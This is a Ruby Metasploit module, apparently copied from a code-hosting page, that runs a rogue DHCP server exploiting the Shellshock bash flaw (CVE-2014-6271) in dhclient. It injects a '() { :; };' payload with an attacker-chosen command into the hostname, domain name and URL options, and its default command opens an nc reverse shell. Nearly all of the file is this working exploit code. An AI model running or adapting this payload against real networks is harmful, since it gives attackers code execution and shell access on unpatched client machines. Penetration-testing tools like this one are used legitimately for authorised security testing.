90 lines
3.0 KiB
Ruby
90 lines
3.0 KiB
Ruby
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex/proto/dhcp'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::DHCPServer
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def initialize
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super(
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'Name' => 'DHCP Client Bash Environment Variable Code Injection',
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'Description' => %q{
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This module exploits a code injection in specially crafted environment
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variables in Bash, specifically targeting dhclient network configuration
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scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options.
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},
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'Author' =>
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[
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'scriptjunkie', 'apconole[at]yahoo.com', # Original DHCP Server auxiliary module
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'Stephane Chazelas', # Vulnerability discovery
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'Ramon de C Valle' # This module
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],
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'License' => MSF_LICENSE,
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'Actions' =>
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[
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[ 'Service' ]
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],
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'PassiveActions' =>
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[
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'Service'
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],
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'DefaultAction' => 'Service',
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'References' => [
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['CVE', '2014-6271'],
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['CWE', '94'],
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['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
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['URL', 'http://seclists.org/oss-sec/2014/q3/649',],
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['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/',]
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],
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'DisclosureDate' => 'Sep 24 2014'
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)
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register_options(
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[
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OptString.new('SRVHOST', [ true, 'The IP of the DHCP server' ]),
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OptString.new('NETMASK', [ true, 'The netmask of the local subnet' ]),
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OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
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OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]),
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OptString.new('ROUTER', [ false, 'The router IP address' ]),
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OptString.new('BROADCAST', [ false, 'The broadcast address to send to' ]),
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OptString.new('DNSSERVER', [ false, 'The DNS server IP address' ]),
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# OptString.new('HOSTNAME', [ false, 'The optional hostname to assign' ]),
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OptString.new('HOSTSTART', [ false, 'The optional host integer counter' ]),
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OptString.new('FILENAME', [ false, 'The optional filename of a tftp boot server' ]),
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OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])
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], self.class)
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end
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def run
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value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}"
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# This loop is required because the current DHCP Server exits after the
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# first interaction.
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loop do
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begin
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start_service({
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'HOSTNAME' => value,
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'DOMAINNAME' => value,
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'URL' => value
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}.merge(datastore))
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while dhcp.thread.alive?
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select(nil, nil, nil, 2)
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end
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rescue Interrupt
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break
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ensure
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stop_service
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end
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end
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end
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end
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